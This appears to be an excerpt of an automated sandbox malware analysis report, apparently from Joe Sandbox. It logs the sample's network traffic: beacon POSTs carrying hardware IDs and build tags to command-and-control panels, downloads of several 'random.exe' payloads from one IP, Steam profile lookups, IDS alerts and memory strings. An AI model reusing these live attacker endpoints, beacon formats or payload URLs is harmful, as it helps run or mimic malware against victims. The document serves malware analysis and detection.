Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEBGHCFCAAFIECAFIIIHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 32 41 44 43 43 38 35 46 34 37 33 36 32 35 36 39 38 33 39 39 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 2d 2d 0d 0a Data Ascii: ------BAEBGHCFCAAFIECAFIIIContent-Disposition: form-data; name="hwid"8C2ADCC85F473625698399------BAEBGHCFCAAFIECAFIIIContent-Disposition: form-data; name="build"doma------BAEBGHCFCAAFIECAFIII--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 33 34 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000349001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.103

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50050 -> 185.215.113.103:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50053 -> 185.215.113.103:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Code function: 6_2_0104CF1A InternetQueryDataAvailable,InternetReadFile,GetLastError,SetEvent,SetEvent,

6_2_0104CF1A

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.103

Source: firefox.exe, 00000015.00000003.1826544677.0000010CA9D59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000003.1952338389.0000010CB1CE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000003.2006181406.0000010CA7268000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000003.1998895134.0000010CA8AF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1974359870.0000010CA8AE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000003.1939472477.0000010CA98F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1937521236.0000010CA9D5F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1806418356.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000003.1939472477.0000010CA98F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1937521236.0000010CA9D5F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1806418356.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000003.2000150466.0000010CA87D1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2000150466.0000010CA87FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2006181406.0000010CA7268000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000003.1998895134.0000010CA8AF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1974359870.0000010CA8AE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.youtube.com equals www.youtube.com (Youtube)
Source: file.exe, 00000000.00000003.1415753536.0000000001810000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1425068667.0000000001803000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.q equals www.youtube.com (Youtube)
Source: bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com 